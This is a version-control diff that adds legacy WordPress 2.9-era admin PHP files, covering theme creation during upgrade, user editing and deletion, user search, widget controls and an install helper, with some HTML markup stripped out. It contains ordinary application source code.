theme header. + $header = "/*\nTheme Name: $theme_name\nTheme URI: " . __get_option('siteurl') . "\nDescription: A theme automatically created by the upgrade.\nVersion: 1.0\nAuthor: Moi\n*/\n"; + + $stylelines = file_get_contents("$site_dir/style.css"); + if ($stylelines) { + $f = fopen("$site_dir/style.css", 'w'); + + fwrite($f, $header); + fwrite($f, $stylelines); + fclose($f); + } + + return true; +} + +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * + * @param unknown_type $theme_name + * @param unknown_type $template + * @return unknown + */ +function make_site_theme_from_default($theme_name, $template) { + $site_dir = WP_CONTENT_DIR . "/themes/$template"; + $default_dir = WP_CONTENT_DIR . '/themes/default'; + + // Copy files from the default theme to the site theme. + //$files = array('index.php', 'comments.php', 'comments-popup.php', 'footer.php', 'header.php', 'sidebar.php', 'style.css'); + + $theme_dir = @ opendir("$default_dir"); + if ($theme_dir) { + while(($theme_file = readdir( $theme_dir )) !== false) { + if (is_dir("$default_dir/$theme_file")) + continue; + if (! @copy("$default_dir/$theme_file", "$site_dir/$theme_file")) + return; + chmod("$site_dir/$theme_file", 0777); + } + } + @closedir($theme_dir); + + // Rewrite the theme header. + $stylelines = explode("\n", implode('', file("$site_dir/style.css"))); + if ($stylelines) { + $f = fopen("$site_dir/style.css", 'w'); + + foreach ($stylelines as $line) { + if (strpos($line, 'Theme Name:') !== false) $line = 'Theme Name: ' . $theme_name; + elseif (strpos($line, 'Theme URI:') !== false) $line = 'Theme URI: ' . __get_option('url'); + elseif (strpos($line, 'Description:') !== false) $line = 'Description: Your theme.'; + elseif (strpos($line, 'Version:') !== false) $line = 'Version: 1'; + elseif (strpos($line, 'Author:') !== false) $line = 'Author: You'; + fwrite($f, $line . "\n"); + } + fclose($f); + } + + // Copy the images. + umask(0); + if (! mkdir("$site_dir/images", 0777)) { + return false; + } + + $images_dir = @ opendir("$default_dir/images"); + if ($images_dir) { + while(($image = readdir($images_dir)) !== false) { + if (is_dir("$default_dir/images/$image")) + continue; + if (! @copy("$default_dir/images/$image", "$site_dir/images/$image")) + return; + chmod("$site_dir/images/$image", 0777); + } + } + @closedir($images_dir); +} + +// Create a site theme from the default theme. +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * + * @return unknown + */ +function make_site_theme() { + // Name the theme after the blog. + $theme_name = __get_option('blogname'); + $template = sanitize_title($theme_name); + $site_dir = WP_CONTENT_DIR . "/themes/$template"; + + // If the theme already exists, nothing to do. + if ( is_dir($site_dir)) { + return false; + } + + // We must be able to write to the themes dir. + if (! is_writable(WP_CONTENT_DIR . "/themes")) { + return false; + } + + umask(0); + if (! mkdir($site_dir, 0777)) { + return false; + } + + if (file_exists(ABSPATH . 'wp-layout.css')) { + if (! make_site_theme_from_oldschool($theme_name, $template)) { + // TODO: rm -rf the site theme directory. + return false; + } + } else { + if (! make_site_theme_from_default($theme_name, $template)) + // TODO: rm -rf the site theme directory. + return false; + } + + // Make the new site theme active. + $current_template = __get_option('template'); + if ($current_template == 'default') { + update_option('template', $template); + update_option('stylesheet', $template); + } + return $template; +} + +/** + * Translate user level to user role name. + * + * @since unknown + * + * @param int $level User level. + * @return string User role name. + */ +function translate_level_to_role($level) { + switch ($level) { + case 10: + case 9: + case 8: + return 'administrator'; + case 7: + case 6: + case 5: + return 'editor'; + case 4: + case 3: + case 2: + return 'author'; + case 1: + return 'contributor'; + case 0: + return 'subscriber'; + } +} + +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + */ +function wp_check_mysql_version() { + global $wpdb; + $result = $wpdb->check_database_version(); + if ( is_wp_error( $result ) ) + die( $result->get_error_message() ); +} + +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + */ +function maybe_disable_automattic_widgets() { + $plugins = __get_option( 'active_plugins' ); + + foreach ( (array) $plugins as $plugin ) { + if ( basename( $plugin ) == 'widgets.php' ) { + array_splice( $plugins, array_search( $plugin, $plugins ), 1 ); + update_option( 'active_plugins', $plugins ); + break; + } + } +} + +/** + * Runs before the schema is upgraded. + */ +function pre_schema_upgrade() { + global $wp_current_db_version, $wp_db_version, $wpdb; + + // Upgrade versions prior to 2.9 + if ( $wp_current_db_version < 11557 ) { + // Delete duplicate options. Keep the option with the highest option_id. + $wpdb->query("DELETE o1 FROM $wpdb->options AS o1 JOIN $wpdb->options AS o2 USING (`option_name`) WHERE o2.option_id > o1.option_id"); + + // Drop the old primary key and add the new. + $wpdb->query("ALTER TABLE $wpdb->options DROP PRIMARY KEY, ADD PRIMARY KEY(option_id)"); + + // Drop the old option_name index. dbDelta() doesn't do the drop. + $wpdb->query("ALTER TABLE $wpdb->options DROP INDEX option_name"); + } + +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/user.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/user.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,831 @@ +id || $wp_roles->role_objects[$new_role]->has_cap( 'edit_users' ) ) { + // If the new role isn't editable by the logged-in user die with error + $editable_roles = get_editable_roles(); + if ( !$editable_roles[$new_role] ) + wp_die(__('You can’t give users that role.')); + + $user = new WP_User( $user_id ); + $user->set_role( $new_role ); + } + } + } else { + add_action( 'user_register', 'add_user' ); // See above + return edit_user(); + } +} + +/** + * Edit user settings based on contents of $_POST + * + * Used on user-edit.php and profile.php to manage and process user options, passwords etc. + * + * @since 2.0 + * + * @param int $user_id Optional. User ID. + * @return int user id of the updated user + */ +function edit_user( $user_id = 0 ) { + global $current_user, $wp_roles, $wpdb; + if ( $user_id != 0 ) { + $update = true; + $user->ID = (int) $user_id; + $userdata = get_userdata( $user_id ); + $user->user_login = $wpdb->escape( $userdata->user_login ); + } else { + $update = false; + $user = ''; + } + + if ( !$update && isset( $_POST['user_login'] ) ) + $user->user_login = sanitize_user($_POST['user_login'], true); + + $pass1 = $pass2 = ''; + if ( isset( $_POST['pass1'] )) + $pass1 = $_POST['pass1']; + if ( isset( $_POST['pass2'] )) + $pass2 = $_POST['pass2']; + + if ( isset( $_POST['role'] ) && current_user_can( 'edit_users' ) ) { + $new_role = sanitize_text_field( $_POST['role'] ); + // Don't let anyone with 'edit_users' (admins) edit their own role to something without it. + if( $user_id != $current_user->id || $wp_roles->role_objects[$new_role]->has_cap( 'edit_users' )) + $user->role = $new_role; + + // If the new role isn't editable by the logged-in user die with error + $editable_roles = get_editable_roles(); + if ( !$editable_roles[$new_role] ) + wp_die(__('You can’t give users that role.')); + } + + if ( isset( $_POST['email'] )) + $user->user_email = sanitize_text_field( $_POST['email'] ); + if ( isset( $_POST['url'] ) ) { + if ( empty ( $_POST['url'] ) || $_POST['url'] == 'http://' ) { + $user->user_url = ''; + } else { + $user->user_url = sanitize_url( $_POST['url'] ); + $user->user_url = preg_match('/^(https?|ftps?|mailto|news|irc|gopher|nntp|feed|telnet):/is', $user->user_url) ? $user->user_url : 'http://'.$user->user_url; + } + } + if ( isset( $_POST['first_name'] ) ) + $user->first_name = sanitize_text_field( $_POST['first_name'] ); + if ( isset( $_POST['last_name'] ) ) + $user->last_name = sanitize_text_field( $_POST['last_name'] ); + if ( isset( $_POST['nickname'] ) ) + $user->nickname = sanitize_text_field( $_POST['nickname'] ); + if ( isset( $_POST['display_name'] ) ) + $user->display_name = sanitize_text_field( $_POST['display_name'] ); + + if ( isset( $_POST['description'] ) ) + $user->description = trim( $_POST['description'] ); + + foreach ( _wp_get_user_contactmethods() as $method => $name ) { + if ( isset( $_POST[$method] )) + $user->$method = sanitize_text_field( $_POST[$method] ); + } + + if ( $update ) { + $user->rich_editing = isset( $_POST['rich_editing'] ) && 'false' == $_POST['rich_editing'] ? 'false' : 'true'; + $user->admin_color = isset( $_POST['admin_color'] ) ? sanitize_text_field( $_POST['admin_color'] ) : 'fresh'; + } + + $user->comment_shortcuts = isset( $_POST['comment_shortcuts'] ) && 'true' == $_POST['comment_shortcuts'] ? 'true' : ''; + + $user->use_ssl = 0; + if ( !empty($_POST['use_ssl']) ) + $user->use_ssl = 1; + + $errors = new WP_Error(); + + /* checking that username has been typed */ + if ( $user->user_login == '' ) + $errors->add( 'user_login', __( 'ERROR: Please enter a username.' )); + + /* checking the password has been typed twice */ + do_action_ref_array( 'check_passwords', array ( $user->user_login, & $pass1, & $pass2 )); + + if ( $update ) { + if ( empty($pass1) && !empty($pass2) ) + $errors->add( 'pass', __( 'ERROR: You entered your new password only once.' ), array( 'form-field' => 'pass1' ) ); + elseif ( !empty($pass1) && empty($pass2) ) + $errors->add( 'pass', __( 'ERROR: You entered your new password only once.' ), array( 'form-field' => 'pass2' ) ); + } else { + if ( empty($pass1) ) + $errors->add( 'pass', __( 'ERROR: Please enter your password.' ), array( 'form-field' => 'pass1' ) ); + elseif ( empty($pass2) ) + $errors->add( 'pass', __( 'ERROR: Please enter your password twice.' ), array( 'form-field' => 'pass2' ) ); + } + + /* Check for "\" in password */ + if ( false !== strpos( stripslashes($pass1), "\\" ) ) + $errors->add( 'pass', __( 'ERROR: Passwords may not contain the character "\\".' ), array( 'form-field' => 'pass1' ) ); + + /* checking the password has been typed twice the same */ + if ( $pass1 != $pass2 ) + $errors->add( 'pass', __( 'ERROR: Please enter the same password in the two password fields.' ), array( 'form-field' => 'pass1' ) ); + + if ( !empty( $pass1 ) ) + $user->user_pass = $pass1; + + if ( !$update && !validate_username( $user->user_login ) ) + $errors->add( 'user_login', __( 'ERROR: This username is invalid. Please enter a valid username.' )); + + if ( !$update && username_exists( $user->user_login ) ) + $errors->add( 'user_login', __( 'ERROR: This username is already registered. Please choose another one.' )); + + /* checking e-mail address */ + if ( empty( $user->user_email ) ) { + $errors->add( 'empty_email', __( 'ERROR: Please enter an e-mail address.' ), array( 'form-field' => 'email' ) ); + } elseif ( !is_email( $user->user_email ) ) { + $errors->add( 'invalid_email', __( 'ERROR: The e-mail address isn’t correct.' ), array( 'form-field' => 'email' ) ); + } elseif ( ( $owner_id = email_exists($user->user_email) ) && $owner_id != $user->ID ) { + $errors->add( 'email_exists', __('ERROR: This email is already registered, please choose another one.'), array( 'form-field' => 'email' ) ); + } + + // Allow plugins to return their own errors. + do_action_ref_array('user_profile_update_errors', array ( &$errors, $update, &$user ) ); + + if ( $errors->get_error_codes() ) + return $errors; + + if ( $update ) { + $user_id = wp_update_user( get_object_vars( $user ) ); + } else { + $user_id = wp_insert_user( get_object_vars( $user ) ); + wp_new_user_notification( $user_id, isset($_POST['send_password']) ? $pass1 : '' ); + } + return $user_id; +} + +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * + * @return array List of user IDs. + */ +function get_author_user_ids() { + global $wpdb; + $level_key = $wpdb->prefix . 'user_level'; + return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value != '0'", $level_key) ); +} + +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * + * @param int $user_id User ID. + * @return array|bool List of editable authors. False if no editable users. + */ +function get_editable_authors( $user_id ) { + global $wpdb; + + $editable = get_editable_user_ids( $user_id ); + + if( !$editable ) { + return false; + } else { + $editable = join(',', $editable); + $authors = $wpdb->get_results( "SELECT * FROM $wpdb->users WHERE ID IN ($editable) ORDER BY display_name" ); + } + + return apply_filters('get_editable_authors', $authors); +} + +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * + * @param int $user_id User ID. + * @param bool $exclude_zeros Optional, default is true. Whether to exclude zeros. + * @return unknown + */ +function get_editable_user_ids( $user_id, $exclude_zeros = true, $post_type = 'post' ) { + global $wpdb; + + $user = new WP_User( $user_id ); + + if ( ! $user->has_cap("edit_others_{$post_type}s") ) { + if ( $user->has_cap("edit_{$post_type}s") || $exclude_zeros == false ) + return array($user->id); + else + return array(); + } + + $level_key = $wpdb->prefix . 'user_level'; + + $query = $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s", $level_key); + if ( $exclude_zeros ) + $query .= " AND meta_value != '0'"; + + return $wpdb->get_col( $query ); +} + +/** + * Fetch a filtered list of user roles that the current user is + * allowed to edit. + * + * Simple function who's main purpose is to allow filtering of the + * list of roles in the $wp_roles object so that plugins can remove + * innappropriate ones depending on the situation or user making edits. + * Specifically because without filtering anyone with the edit_users + * capability can edit others to be administrators, even if they are + * only editors or authors. This filter allows admins to delegate + * user management. + * + * @since 2.8 + * + * @return unknown + */ +function get_editable_roles() { + global $wp_roles; + + $all_roles = $wp_roles->roles; + $editable_roles = apply_filters('editable_roles', $all_roles); + + return $editable_roles; +} + +/** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * + * @return unknown + */ +function get_nonauthor_user_ids() { + global $wpdb; + $level_key = $wpdb->prefix . 'user_level'; + + return $wpdb->get_col( $wpdb->prepare("SELECT user_id FROM $wpdb->usermeta WHERE meta_key = %s AND meta_value = '0'", $level_key) ); +} + +/** + * Retrieve editable posts from other users. + * + * @since unknown + * + * @param int $user_id User ID to not retrieve posts from. + * @param string $type Optional, defaults to 'any'. Post type to retrieve, can be 'draft' or 'pending'. + * @return array List of posts from others. + */ +function get_others_unpublished_posts($user_id, $type='any') { + global $wpdb; + + $editable = get_editable_user_ids( $user_id ); + + if ( in_array($type, array('draft', 'pending')) ) + $type_sql = " post_status = '$type' "; + else + $type_sql = " ( post_status = 'draft' OR post_status = 'pending' ) "; + + $dir = ( 'pending' == $type ) ? 'ASC' : 'DESC'; + + if( !$editable ) { + $other_unpubs = ''; + } else { + $editable = join(',', $editable); + $other_unpubs = $wpdb->get_results( $wpdb->prepare("SELECT ID, post_title, post_author FROM $wpdb->posts WHERE post_type = 'post' AND $type_sql AND post_author IN ($editable) AND post_author != %d ORDER BY post_modified $dir", $user_id) ); + } + + return apply_filters('get_others_drafts', $other_unpubs); +} + +/** + * Retrieve drafts from other users. + * + * @since unknown + * + * @param int $user_id User ID. + * @return array List of drafts from other users. + */ +function get_others_drafts($user_id) { + return get_others_unpublished_posts($user_id, 'draft'); +} + +/** + * Retrieve pending review posts from other users. + * + * @since unknown + * + * @param int $user_id User ID. + * @return array List of posts with pending review post type from other users. + */ +function get_others_pending($user_id) { + return get_others_unpublished_posts($user_id, 'pending'); +} + +/** + * Retrieve user data and filter it. + * + * @since unknown + * + * @param int $user_id User ID. + * @return object WP_User object with user data. + */ +function get_user_to_edit( $user_id ) { + $user = new WP_User( $user_id ); + + $user_contactmethods = _wp_get_user_contactmethods(); + foreach ($user_contactmethods as $method => $name) { + if ( empty( $user->{$method} ) ) + $user->{$method} = ''; + } + + if ( empty($user->description) ) + $user->description = ''; + + $user = sanitize_user_object($user, 'edit'); + + return $user; +} + +/** + * Retrieve the user's drafts. + * + * @since unknown + * + * @param int $user_id User ID. + * @return array + */ +function get_users_drafts( $user_id ) { + global $wpdb; + $query = $wpdb->prepare("SELECT ID, post_title FROM $wpdb->posts WHERE post_type = 'post' AND post_status = 'draft' AND post_author = %d ORDER BY post_modified DESC", $user_id); + $query = apply_filters('get_users_drafts', $query); + return $wpdb->get_results( $query ); +} + +/** + * Remove user and optionally reassign posts and links to another user. + * + * If the $reassign parameter is not assigned to an User ID, then all posts will + * be deleted of that user. The action 'delete_user' that is passed the User ID + * being deleted will be run after the posts are either reassigned or deleted. + * The user meta will also be deleted that are for that User ID. + * + * @since unknown + * + * @param int $id User ID. + * @param int $reassign Optional. Reassign posts and links to new User ID. + * @return bool True when finished. + */ +function wp_delete_user($id, $reassign = 'novalue') { + global $wpdb; + + $id = (int) $id; + $user = new WP_User($id); + + // allow for transaction statement + do_action('delete_user', $id); + + if ($reassign == 'novalue') { + $post_ids = $wpdb->get_col( $wpdb->prepare("SELECT ID FROM $wpdb->posts WHERE post_author = %d", $id) ); + + if ($post_ids) { + foreach ($post_ids as $post_id) + wp_delete_post($post_id); + } + + // Clean links + $link_ids = $wpdb->get_col( $wpdb->prepare("SELECT link_id FROM $wpdb->links WHERE link_owner = %d", $id) ); + + if ( $link_ids ) { + foreach ( $link_ids as $link_id ) + wp_delete_link($link_id); + } + + } else { + $reassign = (int) $reassign; + $wpdb->query( $wpdb->prepare("UPDATE $wpdb->posts SET post_author = %d WHERE post_author = %d", $reassign, $id) ); + $wpdb->query( $wpdb->prepare("UPDATE $wpdb->links SET link_owner = %d WHERE link_owner = %d", $reassign, $id) ); + } + + // FINALLY, delete user + + $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d", $id) ); + $wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->users WHERE ID = %d", $id) ); + + wp_cache_delete($id, 'users'); + wp_cache_delete($user->user_login, 'userlogins'); + wp_cache_delete($user->user_email, 'useremail'); + wp_cache_delete($user->user_nicename, 'userslugs'); + + // allow for commit transaction + do_action('deleted_user', $id); + + return true; +} + +/** + * Remove all capabilities from user. + * + * @since unknown + * + * @param int $id User ID. + */ +function wp_revoke_user($id) { + $id = (int) $id; + + $user = new WP_User($id); + $user->remove_all_caps(); +} + +if ( !class_exists('WP_User_Search') ) : +/** + * WordPress User Search class. + * + * @since unknown + * @author Mark Jaquith + */ +class WP_User_Search { + + /** + * {@internal Missing Description}} + * + * @since unknown + * @access private + * @var unknown_type + */ + var $results; + + /** + * {@internal Missing Description}} + * + * @since unknown + * @access private + * @var unknown_type + */ + var $search_term; + + /** + * Page number. + * + * @since unknown + * @access private + * @var int + */ + var $page; + + /** + * Role name that users have. + * + * @since unknown + * @access private + * @var string + */ + var $role; + + /** + * Raw page number. + * + * @since unknown + * @access private + * @var int|bool + */ + var $raw_page; + + /** + * Amount of users to display per page. + * + * @since unknown + * @access public + * @var int + */ + var $users_per_page = 50; + + /** + * {@internal Missing Description}} + * + * @since unknown + * @access private + * @var unknown_type + */ + var $first_user; + + /** + * {@internal Missing Description}} + * + * @since unknown + * @access private + * @var int + */ + var $last_user; + + /** + * {@internal Missing Description}} + * + * @since unknown + * @access private + * @var unknown_type + */ + var $query_limit; + + /** + * {@internal Missing Description}} + * + * @since unknown + * @access private + * @var unknown_type + */ + var $query_sort; + + /** + * {@internal Missing Description}} + * + * @since unknown + * @access private + * @var unknown_type + */ + var $query_from_where; + + /** + * {@internal Missing Description}} + * + * @since unknown + * @access private + * @var int + */ + var $total_users_for_query = 0; + + /** + * {@internal Missing Description}} + * + * @since unknown + * @access private + * @var bool + */ + var $too_many_total_users = false; + + /** + * {@internal Missing Description}} + * + * @since unknown + * @access private + * @var unknown_type + */ + var $search_errors; + + /** + * {@internal Missing Description}} + * + * @since unknown + * @access private + * @var unknown_type + */ + var $paging_text; + + /** + * PHP4 Constructor - Sets up the object properties. + * + * @since unknown + * + * @param string $search_term Search terms string. + * @param int $page Optional. Page ID. + * @param string $role Role name. + * @return WP_User_Search + */ + function WP_User_Search ($search_term = '', $page = '', $role = '') { + $this->search_term = $search_term; + $this->raw_page = ( '' == $page ) ? false : (int) $page; + $this->page = (int) ( '' == $page ) ? 1 : $page; + $this->role = $role; + + $this->prepare_query(); + $this->query(); + $this->prepare_vars_for_template_usage(); + $this->do_paging(); + } + + /** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * @access public + */ + function prepare_query() { + global $wpdb; + $this->first_user = ($this->page - 1) * $this->users_per_page; + $this->query_limit = $wpdb->prepare(" LIMIT %d, %d", $this->first_user, $this->users_per_page); + $this->query_sort = ' ORDER BY user_login'; + $search_sql = ''; + if ( $this->search_term ) { + $searches = array(); + $search_sql = 'AND ('; + foreach ( array('user_login', 'user_nicename', 'user_email', 'user_url', 'display_name') as $col ) + $searches[] = $col . " LIKE '%$this->search_term%'"; + $search_sql .= implode(' OR ', $searches); + $search_sql .= ')'; + } + + $this->query_from_where = "FROM $wpdb->users"; + if ( $this->role ) + $this->query_from_where .= $wpdb->prepare(" INNER JOIN $wpdb->usermeta ON $wpdb->users.ID = $wpdb->usermeta.user_id WHERE $wpdb->usermeta.meta_key = '{$wpdb->prefix}capabilities' AND $wpdb->usermeta.meta_value LIKE %s", '%' . $this->role . '%'); + else + $this->query_from_where .= " WHERE 1=1"; + $this->query_from_where .= " $search_sql"; + + } + + /** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * @access public + */ + function query() { + global $wpdb; + $this->results = $wpdb->get_col('SELECT ID ' . $this->query_from_where . $this->query_sort . $this->query_limit); + + if ( $this->results ) + $this->total_users_for_query = $wpdb->get_var('SELECT COUNT(ID) ' . $this->query_from_where); // no limit + else + $this->search_errors = new WP_Error('no_matching_users_found', __('No matching users were found!')); + } + + /** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * @access public + */ + function prepare_vars_for_template_usage() { + $this->search_term = stripslashes($this->search_term); // done with DB, from now on we want slashes gone + } + + /** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * @access public + */ + function do_paging() { + if ( $this->total_users_for_query > $this->users_per_page ) { // have to page the results + $args = array(); + if( ! empty($this->search_term) ) + $args['usersearch'] = urlencode($this->search_term); + if( ! empty($this->role) ) + $args['role'] = urlencode($this->role); + + $this->paging_text = paginate_links( array( + 'total' => ceil($this->total_users_for_query / $this->users_per_page), + 'current' => $this->page, + 'base' => 'users.php?%_%', + 'format' => 'userspage=%#%', + 'add_args' => $args + ) ); + if ( $this->paging_text ) { + $this->paging_text = sprintf( '' . __( 'Displaying %s–%s of %s' ) . '%s', + number_format_i18n( ( $this->page - 1 ) * $this->users_per_page + 1 ), + number_format_i18n( min( $this->page * $this->users_per_page, $this->total_users_for_query ) ), + number_format_i18n( $this->total_users_for_query ), + $this->paging_text + ); + } + } + } + + /** + * {@internal Missing Short Description}} + * + * {@internal Missing Long Description}} + * + * @since unknown + * @access public + * + * @return unknown + */ + function get_results() { + return (array) $this->results; + } + + /** + * Displaying paging text. + * + * @see do_paging() Builds paging text. + * + * @since unknown + * @access public + */ + function page_links() { + echo $this->paging_text; + } + + /** + * Whether paging is enabled. + * + * @see do_paging() Builds paging text. + * + * @since unknown + * @access public + * + * @return bool + */ + function results_are_paged() { + if ( $this->paging_text ) + return true; + return false; + } + + /** + * Whether there are search terms. + * + * @since unknown + * @access public + * + * @return bool + */ + function is_search() { + if ( $this->search_term ) + return true; + return false; + } +} +endif; + +add_action('admin_init', 'default_password_nag_handler'); +function default_password_nag_handler($errors = false) { + global $user_ID; + if ( ! get_usermeta($user_ID, 'default_password_nag') ) //Short circuit it. + return; + + //get_user_setting = JS saved UI setting. else no-js-falback code. + if ( 'hide' == get_user_setting('default_password_nag') || isset($_GET['default_password_nag']) && '0' == $_GET['default_password_nag'] ) { + delete_user_setting('default_password_nag'); + update_usermeta($user_ID, 'default_password_nag', false); + } +} + +add_action('profile_update', 'default_password_nag_edit_user', 10, 2); +function default_password_nag_edit_user($user_ID, $old_data) { + global $user_ID; + if ( ! get_usermeta($user_ID, 'default_password_nag') ) //Short circuit it. + return; + + $new_data = get_userdata($user_ID); + + if ( $new_data->user_pass != $old_data->user_pass ) { //Remove the nag if the password has been changed. + delete_user_setting('default_password_nag'); + update_usermeta($user_ID, 'default_password_nag', false); + } +} + +add_action('admin_notices', 'default_password_nag'); +function default_password_nag() { + global $user_ID; + if ( ! get_usermeta($user_ID, 'default_password_nag') ) + return; + + echo '

    '; + printf(__("Notice: you're using the auto-generated password for your account. Would you like to change it to something you'll remember easier?
    + Yes, Take me to my profile page | No Thanks, Do not remind me again."), admin_url('profile.php') . '#password', '?default_password_nag=0'); + echo '

    '; +} + +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/includes/widgets.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/includes/widgets.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,220 @@ + $widget['id'], 'widget_name' => $widget['name'], '_display' => 'template' ); + + if ( isset($wp_registered_widget_controls[$widget['id']]['id_base']) && isset($widget['params'][0]['number']) ) { + $id_base = $wp_registered_widget_controls[$widget['id']]['id_base']; + $args['_temp_id'] = "$id_base-__i__"; + $args['_multi_num'] = next_widget_id_number($id_base); + $args['_add'] = 'multi'; + } else { + $args['_add'] = 'single'; + if ( $sidebar ) + $args['_hide'] = '1'; + } + + $args = wp_list_widget_controls_dynamic_sidebar( array( 0 => $args, 1 => $widget['params'][0] ) ); + call_user_func_array( 'wp_widget_control', $args ); + } +} + +/** + * Show the widgets and their settings for a sidebar. + * Used in the the admin widget config screen. + * + * @since unknown + * + * @param string $sidebar id slug of the sidebar + */ +function wp_list_widget_controls( $sidebar ) { + add_filter( 'dynamic_sidebar_params', 'wp_list_widget_controls_dynamic_sidebar' ); + + echo "
    \n"; + + $description = wp_sidebar_description( $sidebar ); + + if ( !empty( $description ) ) { + echo "\n"; + } + + dynamic_sidebar( $sidebar ); + echo "
    \n"; +} + +/** + * {@internal Missing Short Description}} + * + * @since unknown + * + * @param array $params + * @return array + */ +function wp_list_widget_controls_dynamic_sidebar( $params ) { + global $wp_registered_widgets; + static $i = 0; + $i++; + + $widget_id = $params[0]['widget_id']; + $id = isset($params[0]['_temp_id']) ? $params[0]['_temp_id'] : $widget_id; + $hidden = isset($params[0]['_hide']) ? ' style="display:none;"' : ''; + + $params[0]['before_widget'] = "
    "; + $params[0]['after_widget'] = "
    "; + $params[0]['before_title'] = "%BEG_OF_TITLE%"; // deprecated + $params[0]['after_title'] = "%END_OF_TITLE%"; // deprecated + if ( is_callable( $wp_registered_widgets[$widget_id]['callback'] ) ) { + $wp_registered_widgets[$widget_id]['_callback'] = $wp_registered_widgets[$widget_id]['callback']; + $wp_registered_widgets[$widget_id]['callback'] = 'wp_widget_control'; + } + + return $params; +} + +function next_widget_id_number($id_base) { + global $wp_registered_widgets; + $number = 1; + + foreach ( $wp_registered_widgets as $widget_id => $widget ) { + if ( preg_match( '/' . $id_base . '-([0-9]+)$/', $widget_id, $matches ) ) + $number = max($number, $matches[1]); + } + $number++; + + return $number; +} + +/** + * Meta widget used to display the control form for a widget. + * + * Called from dynamic_sidebar(). + * + * @since unknown + * + * @param array $sidebar_args + * @return array + */ +function wp_widget_control( $sidebar_args ) { + global $wp_registered_widgets, $wp_registered_widget_controls, $sidebars_widgets; + + $widget_id = $sidebar_args['widget_id']; + $sidebar_id = isset($sidebar_args['id']) ? $sidebar_args['id'] : false; + $key = $sidebar_id ? array_search( $widget_id, $sidebars_widgets[$sidebar_id] ) : '-1'; // position of widget in sidebar + $control = isset($wp_registered_widget_controls[$widget_id]) ? $wp_registered_widget_controls[$widget_id] : array(); + $widget = $wp_registered_widgets[$widget_id]; + + $id_format = $widget['id']; + $widget_number = isset($control['params'][0]['number']) ? $control['params'][0]['number'] : ''; + $id_base = isset($control['id_base']) ? $control['id_base'] : $widget_id; + $multi_number = isset($sidebar_args['_multi_num']) ? $sidebar_args['_multi_num'] : ''; + $add_new = isset($sidebar_args['_add']) ? $sidebar_args['_add'] : ''; + + $query_arg = array( 'editwidget' => $widget['id'] ); + if ( $add_new ) { + $query_arg['addnew'] = 1; + if ( $multi_number ) { + $query_arg['num'] = $multi_number; + $query_arg['base'] = $id_base; + } + } else { + $query_arg['sidebar'] = $sidebar_id; + $query_arg['key'] = $key; + } + + // We aren't showing a widget control, we're outputing a template for a mult-widget control + if ( isset($sidebar_args['_display']) && 'template' == $sidebar_args['_display'] && $widget_number ) { + // number == -1 implies a template where id numbers are replaced by a generic '__i__' + $control['params'][0]['number'] = -1; + // with id_base widget id's are constructed like {$id_base}-{$id_number} + if ( isset($control['id_base']) ) + $id_format = $control['id_base'] . '-__i__'; + } + + $wp_registered_widgets[$widget_id]['callback'] = $wp_registered_widgets[$widget_id]['_callback']; + unset($wp_registered_widgets[$widget_id]['_callback']); + + $widget_title = esc_html( strip_tags( $sidebar_args['widget_name'] ) ); + $has_form = 'noform'; + + echo $sidebar_args['before_widget']; ?> +
    +
    + + +
    +

    +
    + +
    +
    +
    +" . __('There are no options for this widget.') . "

    \n"; ?> +
    + + + + + + + + +
    +
    + | + +
    +
    + + +
    +
    +
    +
    +
    + +
    + +
    + \ No newline at end of file diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/index.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/index.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,44 @@ + + +
    + +

    + +
    + + + +
    +
    + +
    + + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/install-helper.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/install-helper.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,225 @@ + + * check_column('wp_links', 'link_description', 'mediumtext'); + * if (check_column($wpdb->comments, 'comment_author', 'tinytext')) + * echo "ok\n"; + * + * $error_count = 0; + * $tablename = $wpdb->links; + * // check the column + * if (!check_column($wpdb->links, 'link_description', 'varchar(255)')) { + * $ddl = "ALTER TABLE $wpdb->links MODIFY COLUMN link_description varchar(255) NOT NULL DEFAULT '' "; + * $q = $wpdb->query($ddl); + * } + * + * if (check_column($wpdb->links, 'link_description', 'varchar(255)')) { + * $res .= $tablename . ' - ok
    '; + * } else { + * $res .= 'There was a problem with ' . $tablename . '
